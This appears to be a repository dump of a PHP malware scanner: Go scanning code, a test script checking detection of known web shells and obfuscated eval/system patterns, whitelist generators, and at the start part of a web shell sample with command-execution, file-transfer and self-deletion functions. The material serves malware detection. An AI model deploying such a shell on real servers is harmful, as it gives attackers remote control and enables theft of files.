$cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; 44 | exec($cmd, $output); 45 | $cwd = array_pop($output); 46 | 47 | $response = [ 48 | 'stdout' => $output, 49 | 'stderr' => [], 50 | 'cwd' => $cwd, 51 | ]; 52 | 53 | die(json_encode($response)); 54 | } 55 | 56 | 57 | # File-download payload 58 | function payload_download ($cwd, $args) { 59 | 60 | # cd to the trojan's cwd 61 | chdir($cwd); 62 | 63 | # open the file as binary, and base64-encode its contents 64 | try { 65 | $stdout = base64_encode(file_get_contents($args['file'])); 66 | $stderr = []; 67 | } 68 | 69 | # notify the client on failure 70 | catch (ErrorException $e) { 71 | $stdout = []; 72 | $stderr = [ 'Could not download file.', $e->getMessage() ]; 73 | } 74 | 75 | die(json_encode([ 76 | 'stdout' => $stdout, 77 | 'stderr' => $stderr, 78 | 'cwd' => $cwd, 79 | ])); 80 | } 81 | 82 | # File-upload payload 83 | function payload_upload ($cwd, $args) { 84 | 85 | # cd to the trojan's cwd 86 | chdir($cwd); 87 | 88 | # base64-decode the uploaded bytes, and write them to a file 89 | try { 90 | file_put_contents( $args['dst'], base64_decode($args['data'])); 91 | $stderr = []; 92 | $stdout = [ "File saved to {$args['dst']}." ]; 93 | } 94 | 95 | # notify the client on failure 96 | catch (ErrorException $e) { 97 | $stdout = []; 98 | $stderr = [ 'Could not save file.', $e->getMessage() ]; 99 | } 100 | 101 | die(json_encode([ 102 | 'stdout' => $stdout, 103 | 'stderr' => $stderr, 104 | 'cwd' => $cwd, 105 | ])); 106 | } 107 | 108 | # Trojan autodestruct 109 | function payload_autodestruct ($cwd, $args) { 110 | 111 | # attempt to delete the trojan 112 | try { 113 | 114 | unlink(__FILE__); 115 | $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; 116 | $stderr = []; 117 | } 118 | 119 | # notify the client on failure 120 | catch (ErrorException $e) { 121 | $stdout = []; 122 | $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; 123 | } 124 | 125 | die(json_encode([ 126 | 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], 127 | 'stderr' => [], 128 | 'cwd' => $cwd, 129 | ])); 130 | } 131 | -------------------------------------------------------------------------------- /data/samples/real/srt.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /data/samples/real/sucuri_2014_04.php: -------------------------------------------------------------------------------- 1 | 1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); 4 | -------------------------------------------------------------------------------- /data/samples/undetected/smart.php: -------------------------------------------------------------------------------- 1 | = TooShortMinChars { 221 | tooShort := yara.MatchRule{Rule: TooShort} 222 | result[target] = append(result[target], tooShort) 223 | } 224 | } 225 | 226 | var matches yara.MatchRules 227 | err := scanner.SetCallback(&matches).ScanFile(target) 228 | if err != nil { 229 | log.Println("[ERROR]", err) 230 | continue 231 | } 232 | for _, match := range matches { 233 | result[target] = append(result[target], match) 234 | } 235 | results <- result 236 | } 237 | stoppedWorkers++ 238 | if stoppedWorkers == args.Workers { 239 | close(results) 240 | } 241 | } 242 | 243 | // scanDir recursively crawls `dirName`, and writes file paths to the `targets` channel. 244 | // Files sent to `targets` are filtered according to their extensions. 245 | func scanDir(dirName string, targets chan<- string, ticker <-chan time.Time) { 246 | visit := func(pathName string, fileInfo os.FileInfo, err error) error { 247 | <-ticker 248 | if !fileInfo.IsDir() { 249 | for _, dir := range excludedDirs { 250 | if strings.Contains(pathName, dir) { 251 | return nil 252 | } 253 | } 254 | fileExt := filepath.Ext(fileInfo.Name()) 255 | if _, exists := excludedExts[fileExt]; !exists { 256 | targets <- pathName 257 | } 258 | } 259 | return nil 260 | } 261 | err := filepath.Walk(dirName, visit) 262 | handleError(err, "unable to complete target crawling", false) 263 | close(targets) 264 | } 265 | 266 | // loadRulesFile reads YARA rules from specified `fileName` and returns 267 | // them in their compiled form. 268 | func loadRulesFile(fileName string) (*yara.Rules, error) { 269 | var err error = nil 270 | // record working directory and move to rules location 271 | curDir, err := os.Getwd() 272 | if err != nil { 273 | return nil, fmt.Errorf("unable to determine working directory: %v", err) 274 | } 275 | ruleDir, ruleName := filepath.Split(fileName) 276 | err = os.Chdir(ruleDir) 277 | if err != nil { 278 | return nil, fmt.Errorf("unable to move to rules directory: %v", err) 279 | } 280 | 281 | // read file content 282 | data, err := os.ReadFile(ruleName) 283 | if err != nil { 284 | return nil, fmt.Errorf("unable to read rules file: %v", err) 285 | } 286 | 287 | // compile rules 288 | rules, err := yara.Compile(string(data), nil) 289 | if err != nil { 290 | return nil, fmt.Errorf("unable to load rules: %v", err) 291 | } 292 | 293 | // move back to working directory 294 | err = os.Chdir(curDir) 295 | if err != nil { 296 | return nil, fmt.Errorf("unable to move back to working directory: %v", err) 297 | } 298 | 299 | return rules, nil 300 | } 301 | 302 | func main() { 303 | startTime := time.Now() 304 | matchesFound := false 305 | _, err := flags.Parse(&args) 306 | if err != nil { 307 | os.Exit(ExitCodeWithError) 308 | } 309 | if args.ShowVersion { 310 | println(version) 311 | os.Exit(ExitCodeOk) 312 | } 313 | 314 | // check rules path 315 | if args.RulesDir == "" { 316 | args.RulesDir = writeRulesFiles(data) 317 | } 318 | if args.Verbose { 319 | log.Println("[DEBUG] rules directory:", args.RulesDir) 320 | } 321 | 322 | // update rules if required 323 | if args.Update { 324 | updateRules() 325 | os.Exit(ExitCodeOk) 326 | } 327 | 328 | // add custom excluded file extensions 329 | if args.ExcludeCommon { 330 | for _, commonExt := range commonExts { 331 | excludedExts[commonExt] = struct{}{} 332 | } 333 | } 334 | if args.ExcludeImgs || args.ExcludeCommon { 335 | for _, imgExt := range imageExts { 336 | excludedExts[imgExt] = struct{}{} 337 | } 338 | } 339 | for _, ext := range args.ExcludedExts { 340 | if string(ext[0]) != "." { 341 | ext = "." + ext 342 | } 343 | excludedExts[ext] = struct{}{} 344 | } 345 | if args.Verbose { 346 | extList := make([]string, len(excludedExts)) 347 | i := 0 348 | for ext := range excludedExts { 349 | extList[i] = ext[1:] 350 | i++ 351 | } 352 | log.Println("[DEBUG] excluded file extensions:", strings.Join(extList, ",")) 353 | } 354 | 355 | // load YARA rules 356 | rulePath := path.Join(args.RulesDir, RulesFile) 357 | rules, err := loadRulesFile(rulePath) 358 | handleError(err, "", true) 359 | if args.Verbose { 360 | log.Println("[DEBUG] ruleset loaded:", rulePath) 361 | } 362 | 363 | // set YARA scan flags 364 | if args.Fast { 365 | scanFlags = yara.ScanFlags(yara.ScanFlagsFastMode) 366 | } else { 367 | scanFlags = yara.ScanFlags(0) 368 | } 369 | 370 | // check if requested threads count is not greater than YARA's MAX_THREADS 371 | if args.Workers > YaraMaxThreads { 372 | log.Printf("[WARNING] workers count too high, using %d instead of %d\n", YaraMaxThreads, args.Workers) 373 | args.Workers = YaraMaxThreads 374 | } 375 | 376 | // scan target 377 | if f, err := os.Stat(args.Positional.Target); os.IsNotExist(err) { 378 | handleError(err, "", true) 379 | } else { 380 | if args.Verbose { 381 | log.Println("[DEBUG] scan workers:", args.Workers) 382 | log.Println("[DEBUG] target:", args.Positional.Target) 383 | } 384 | if f.IsDir() { // parallelized folder scan 385 | // create communication channels 386 | targets := make(chan string) 387 | results := make(chan map[string][]yara.MatchRule) 388 | 389 | // rate limit 390 | var tickerRate time.Duration 391 | if args.RateLimit == 0 { 392 | tickerRate = time.Nanosecond 393 | } else { 394 | tickerRate = time.Second / time.Duration(args.RateLimit) 395 | } 396 | ticker := time.Tick(tickerRate) 397 | if args.Verbose { 398 | log.Println("[DEBUG] delay between fs ops:", tickerRate.String()) 399 | } 400 | 401 | // start consumers and producer workers 402 | for w := 1; w <= args.Workers; w++ { 403 | go processFiles(rules, targets, results, ticker) 404 | } 405 | go scanDir(args.Positional.Target, targets, ticker) 406 | 407 | // read results 408 | matchCount := make(map[string]int) 409 | var keepListing bool 410 | var countedDangerousMatch bool 411 | for result := range results { 412 | for target, matchedSigs := range result { 413 | keepListing = true 414 | matchCount[target] = 0 415 | countedDangerousMatch = false 416 | for _, sig := range matchedSigs { 417 | matchCount[target] += DangerousMatchWeight 418 | if !countedDangerousMatch { 419 | if _, exists := dangerousMatches[sig.Rule]; exists { 420 | matchCount[target]++ 421 | } 422 | countedDangerousMatch = true 423 | } 424 | if keepListing { 425 | log.Printf("[WARNING] match found: %s (%s)\n", target, sig.Rule) 426 | if !args.ShowAll { 427 | keepListing = false 428 | } 429 | } 430 | } 431 | } 432 | } 433 | for target, count := range matchCount { 434 | if count >= DangerousMinScore { 435 | log.Println("[WARNING] dangerous file found:", target) 436 | matchesFound = true 437 | } 438 | } 439 | } else { // single file mode 440 | scannedFilesCount++ 441 | var matches yara.MatchRules 442 | scanner := makeScanner(rules) 443 | err := scanner.SetCallback(&matches).ScanFile(args.Positional.Target) 444 | handleError(err, "unable to scan target", true) 445 | for _, match := range matches { 446 | matchesFound = true 447 | log.Println("[WARNING] match found:", args.Positional.Target, match.Rule) 448 | if args.Verbose { 449 | for _, matchString := range match.Strings { 450 | log.Printf("[DEBUG] match string for %s: 0x%x:%s: %s\n", args.Positional.Target, matchString.Offset, matchString.Name, matchString.Data) 451 | } 452 | } 453 | if !args.ShowAll { 454 | break 455 | } 456 | } 457 | } 458 | if args.Verbose { 459 | endTime := time.Now() 460 | log.Printf("[DEBUG] scanned %d files in %s\n", scannedFilesCount, endTime.Sub(startTime).String()) 461 | } 462 | } 463 | 464 | // delete temporary files 465 | if strings.HasPrefix(args.RulesDir, tempDirPathPrefix) { 466 | if args.Verbose { 467 | log.Println("[DEBUG] deleting temporary folder:", args.RulesDir) 468 | } 469 | err := os.RemoveAll(args.RulesDir) 470 | handleError(err, fmt.Sprintf("unable to delete temporary folder '%s'", args.RulesDir), false) 471 | } 472 | 473 | if matchesFound { 474 | os.Exit(ExitCodeWithMatches) 475 | } 476 | os.Exit(ExitCodeOk) 477 | } 478 | -------------------------------------------------------------------------------- /tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PMF=./php-malware-finder 4 | SAMPLES=./data/samples 5 | 6 | type yara 2>/dev/null 1>&2 || (echo "[-] Please make sure that yara is installed" && exit 1) 7 | 8 | CPT=0 9 | run_test(){ 10 | NB_DETECTED=$(${PMF} -v -a "$SAMPLES"/"$1" 2>&1 | grep -c "$2" 2>/dev/null) 11 | 12 | if [[ "$NB_DETECTED" != 1 ]]; then 13 | echo "[-] $2 was not detected in $1, sorry" 14 | exit 1 15 | fi 16 | CPT=$((CPT+1)) 17 | } 18 | 19 | 20 | # Real samples 21 | run_test cpanel.php '0x294d:$eval: {eval(' 22 | run_test freepbx.php 'ObfuscatedPhp' 23 | run_test freepbx.php '0x72:$eval: { system(' 24 | run_test freepbx.php 'DodgyPhp' 25 | run_test freepbx.php '0x31d:$execution: system(base64_decode' 26 | 27 | # Classic shells 28 | run_test classic/ajaxshell.php 'DodgyStrings' 29 | run_test classic/ajaxshell.php '0x23e2:$: shell_exec' 30 | run_test classic/ajaxshell.php "0x16e0:\$ini_get: ini_get('safe_mode" 31 | run_test classic/ajaxshell.php "0x17f1:\$ini_get: ini_get('open_basedir" 32 | run_test classic/angel.php '0x1b:$disable_magic_quotes:' 33 | run_test classic/b374k.php 'ObfuscatedPhp' 34 | run_test classic/b374k.php "0xe9:\$b374k: 'ev'.'al'" 35 | run_test classic/b374k.php '0xb3:$align: $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func(' 36 | run_test classic/b374k.php '0xd6:$align: ;$b374k=$func(' 37 | run_test classic/b374k.php '0x43:$: github.com/b374k/b374k' 38 | run_test classic/sosyete.php '0x194e:$execution: shell_exec($_POST' 39 | run_test classic/simattacker.php '0x158:$: fpassthru' 40 | run_test classic/r57.php '0x142a2:$: xp_cmdshell' 41 | run_test classic/cyb3rsh3ll.php '0x2200d:$udp_dos: fsockopen("udp://' 42 | run_test classic/c99.php '0x3bb4:$eval: {exec(' 43 | run_test classic/c100.php '0x4f8d:$eval: {eval(' 44 | 45 | # Obfuscated php 46 | run_test obfuscators/cipher_design.php '0x124:$execution: eval(base64_decode' 47 | run_test obfuscators/cipher_design.php '0x123:$eval: ;eval(' 48 | run_test obfuscators/online_php_obfuscator.php '0x51:$eval: ;preg_replace(' 49 | run_test obfuscators/online_php_obfuscator.php "0x52:\$pr: preg_replace('/.*/e" 50 | run_test obfuscators/online_php_obfuscator.php "SuspiciousEncoding" 51 | run_test obfuscators/phpencode.php "ObfuscatedPhp" 52 | run_test obfuscators/phpencode.php "DodgyPhp" 53 | 54 | # Artificial samples to test some rules 55 | run_test artificial/obfuscated.php '0x0:$eval: "${OUTFILE}"; 11 | private rule Magento1Ce : ECommerce 12 | { 13 | condition: 14 | false 15 | } 16 | EOF 17 | 18 | # Create a temporary directory and make sure it is empty 19 | GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m1" )"; 20 | 21 | # Add header to whitelist tempfile 22 | cat < "${OUTFILE}"; 53 | 54 | # Clean up 55 | rm "${TMPFILE}"; 56 | rm -rf "${GENTEMPDIR}"; 57 | -------------------------------------------------------------------------------- /utils/magento2_whitelist.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Quit script if something goes wrong 3 | set -o errexit -o nounset -o pipefail; 4 | 5 | SCRIPTDIR="$( dirname "$(readlink -f "$0")" )"; 6 | OUTFILE="${SCRIPTDIR}/../whitelists/magento2.yar"; 7 | TMPFILE="${OUTFILE}.new"; 8 | 9 | # First empty the target whitelist so we can completely generate a new one 10 | cat <"${OUTFILE}"; 11 | private rule Magento2 : ECommerce 12 | { 13 | condition: 14 | false 15 | } 16 | EOF 17 | 18 | # Create a temporary directory and make sure it is empty 19 | GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m2" )"; 20 | 21 | # Composer access tokens 22 | if [ ! -f "${HOME}/.composer/auth.json" ]; then 23 | echo -e "\nYou have no '.composer/auth.json' in your home dir. We will create it from a template and open an editor."; 24 | echo -e "Press [Enter] to continue. Press Ctrl-C if you wish to leave."; 25 | read; 26 | mkdir -p "${HOME}/.composer"; 27 | cat <"${HOME}/.composer/auth.json" 28 | { 29 | "INFO_GITHUB": "==== GET TOKEN: https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/ ====", 30 | "github-oauth": { 31 | "github.com": "---github-token-goes-here---" 32 | }, 33 | "INFO_MAGENTO": "==== GET TOKEN: https://devdocs.magento.com/guides/v2.0/install-gde/prereq/connect-auth.html ====", 34 | "http-basic": { 35 | "repo.magento.com": { 36 | "username": "---public-key-goes-here---", 37 | "password": "---private-key-goes-here---" 38 | } 39 | } 40 | } 41 | EOF 42 | editor "${HOME}/.composer/auth.json"; 43 | fi 44 | 45 | # Add header to whitelist tempfile 46 | cat < "${OUTFILE}"; 80 | 81 | # Clean up 82 | rm "${TMPFILE}"; 83 | rm -rf "${GENTEMPDIR}"; 84 | -------------------------------------------------------------------------------- /utils/mass_whitelist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from __future__ import print_function 5 | 6 | import sys 7 | import tarfile 8 | from copy import copy 9 | from datetime import datetime 10 | from collections import OrderedDict 11 | from hashlib import sha1 12 | from urllib2 import urlopen, HTTPError 13 | from StringIO import StringIO 14 | 15 | import yara 16 | 17 | USAGE = """ 18 | USAGE: %(prog)s [ [ []]] 19 | 20 | Options: 21 | NAME : name of the CMS/whatever being whitelisted 22 | URL_PATTERN : download URL with __version__ as a version placeholder 23 | MAJOR : minimum and maximum major version to crawl (eg: 1-8, 8) 24 | MINOR : minimum and maximum minor version to crawl 25 | PATCH : minimum and maximum patch version to crawl 26 | 27 | Examples: 28 | %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 9 50 29 | %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 4-9 1-50 30 | 31 | %(prog)s wordpress https://wordpress.org/wordpress-__version__.tar.gz 4 15 32 | 33 | %(prog)s symphony https://github.com/symfony/symfony/archive/v__version__.tar.gz 3 9 34 | 35 | %(prog)s phpmyadmin https://files.phpmyadmin.net/phpMyAdmin/__version__/phpMyAdmin-__version__-all-languages.tar.gz 4 9 36 | """ % {'prog': sys.argv[0]} 37 | 38 | 39 | class Opts: 40 | DEFAULT_MIN = 0 41 | DEFAULT_MAX = 99 42 | YARA_RULES = yara.compile(sys.path[0]+'/../php.yar', includes=True, error_on_warning=True) 43 | 44 | @classmethod 45 | def to_str(cls): 46 | values = [] 47 | for attr in cls.__dict__: 48 | if attr.isupper(): 49 | values.append('%s=%s' % (attr, getattr(cls, attr))) 50 | return '' % ' '.join(values) 51 | 52 | 53 | def eprint(*args, **kwargs): 54 | print(*args, file=sys.stderr, **kwargs) 55 | 56 | 57 | def extract_version_arg(index): 58 | min_ver, max_ver = (Opts.DEFAULT_MIN, Opts.DEFAULT_MAX) 59 | if len(sys.argv) >= (index + 1): 60 | if '-' in sys.argv[index]: 61 | min_ver, max_ver = map(int, sys.argv[index].split('-')) 62 | else: 63 | max_ver = int(sys.argv[index]) 64 | return min_ver, max_ver 65 | 66 | 67 | def generate_whitelist(version): 68 | rules = {} 69 | 70 | # download archive 71 | dl_failed = False 72 | download_url = Opts.URL_PATTERN.replace('__version__', version) 73 | download_url_str = Opts.URL_PATTERN.replace('__version__', '\x1b[1;33m%s\x1b[0m' % version) 74 | eprint("[+] Downloading %s... " % download_url_str, end='') 75 | sys.stdout.flush() 76 | try: 77 | resp = urlopen(download_url) 78 | resp_code = resp.code 79 | except HTTPError as err: 80 | dl_failed = True 81 | resp_code = err.code 82 | if dl_failed or (resp_code != 200): 83 | eprint("\x1b[1;31mFAILED (%d)\x1b[0m" % resp_code) 84 | return None 85 | data = StringIO(resp.read()) 86 | data.seek(0) 87 | eprint("\x1b[1;32mOK\x1b[0m") 88 | 89 | # extract archive and check against YARA signatures (in-memory) 90 | eprint("[-] Generating whitelist... ", end='') 91 | sys.stdout.flush() 92 | tar = tarfile.open(mode='r:gz', fileobj=data) 93 | for entry in tar.getnames(): 94 | entry_fd = tar.extractfile(entry) 95 | if entry_fd is None: 96 | continue 97 | entry_data = entry_fd.read() 98 | matches = Opts.YARA_RULES.match(data=entry_data, fast=True) 99 | if matches: 100 | rules['/'.join(entry.split('/')[1:])] = sha1(entry_data).hexdigest() 101 | eprint("\x1b[1;32mDONE\x1b[0m") 102 | 103 | return rules 104 | 105 | 106 | # init vars 107 | whitelists = OrderedDict() 108 | 109 | # check args 110 | if (len(sys.argv) < 3) or (len(sys.argv) > 6): 111 | eprint(USAGE) 112 | sys.exit(1) 113 | 114 | # parse args 115 | Opts.CMS_NAME = sys.argv[1] 116 | Opts.URL_PATTERN = sys.argv[2] 117 | Opts.MIN_MAJOR, Opts.MAX_MAJOR = extract_version_arg(3) 118 | Opts.MIN_MINOR, Opts.MAX_MINOR = extract_version_arg(4) 119 | Opts.MIN_PATCH, Opts.MAX_PATCH = extract_version_arg(5) 120 | 121 | # loop over possible versions 122 | for vmajor in range(Opts.MIN_MAJOR, Opts.MAX_MAJOR + 1): 123 | # download without vminor and vpatch (but ignore if it doesn't exist) 124 | version = "%d" % vmajor 125 | rules = generate_whitelist(version) 126 | if (rules is not None) and rules: 127 | whitelists[version] = rules 128 | 129 | has_mversion = False 130 | first_mloop = True 131 | for vminor in range(Opts.MIN_MINOR, Opts.MAX_MINOR + 1): 132 | # download without vpatch (but ignore if it doesn't exist) 133 | version = "%d.%d" % (vmajor, vminor) 134 | rules = generate_whitelist(version) 135 | if rules is not None: 136 | has_mversion = True 137 | if rules: 138 | whitelists[version] = rules 139 | #if (rules is None) and (has_mversion or not first_mloop): 140 | # break 141 | first_mloop = False 142 | 143 | has_pversion = False 144 | first_ploop = True 145 | for vpatch in range(Opts.MIN_PATCH, Opts.MAX_PATCH + 1): 146 | version = "%d.%d.%d" % (vmajor, vminor, vpatch) 147 | rules = generate_whitelist(version) 148 | if rules is not None: 149 | has_pversion = True 150 | if rules: 151 | whitelists[version] = rules 152 | # break loop if download failed and: 153 | # - a version has already been found during this loop 154 | # - this is the 2nd iteration (if a version wasn't found, 155 | # it means download failed twice) 156 | if (rules is None) and (has_pversion or not first_ploop): 157 | break 158 | first_ploop = False 159 | 160 | # remove duplicate entries: 161 | eprint("[+] Deduplicating detections... ", end='') 162 | known_files = [] 163 | for version, rules in copy(whitelists.items()): 164 | used_rules = 0 165 | for filename, digest in rules.items(): 166 | rtuple = (filename, digest) 167 | if rtuple in known_files: 168 | del whitelists[version][filename] 169 | else: 170 | known_files.append(rtuple) 171 | used_rules += 1 172 | if used_rules == 0: 173 | del whitelists[version] 174 | eprint("\x1b[1;32mDONE\x1b[0m") 175 | 176 | eprint("[+] Generating final whitelist... ", end='') 177 | # build final rule 178 | prefix = 8 * ' ' 179 | conditions = [] 180 | len_wl = len(whitelists.keys()) - 1 181 | for index, (version, rules) in enumerate(whitelists.items()): 182 | cond_str = '%s/* %s %s */\n' % (prefix, Opts.CMS_NAME.title(), version) 183 | len_rules = len(rules.keys()) - 1 184 | for inner_index, (filename, digest) in enumerate(rules.items()): 185 | if (index == len_wl) and (inner_index == len_rules): # last loop iteration 186 | cond_str += '%shash.sha1(0, filesize) == "%s" // %s\n' % (prefix, digest, filename) 187 | else: 188 | cond_str += '%shash.sha1(0, filesize) == "%s" or // %s\n' % (prefix, digest, filename) 189 | conditions.append(cond_str) 190 | eprint("\x1b[1;32mDONE\x1b[0m") 191 | 192 | final_rule = """ 193 | import "hash" 194 | 195 | private rule %(name)s 196 | { 197 | meta: 198 | generated = "%(gendate)s" 199 | 200 | condition: 201 | %(conditions)s 202 | } 203 | """ % { 204 | 'name': Opts.CMS_NAME.title(), 205 | 'gendate': datetime.now().isoformat(), 206 | 'conditions': '\n'.join(conditions) 207 | } 208 | print(final_rule) 209 | --------------------------------------------------------------------------------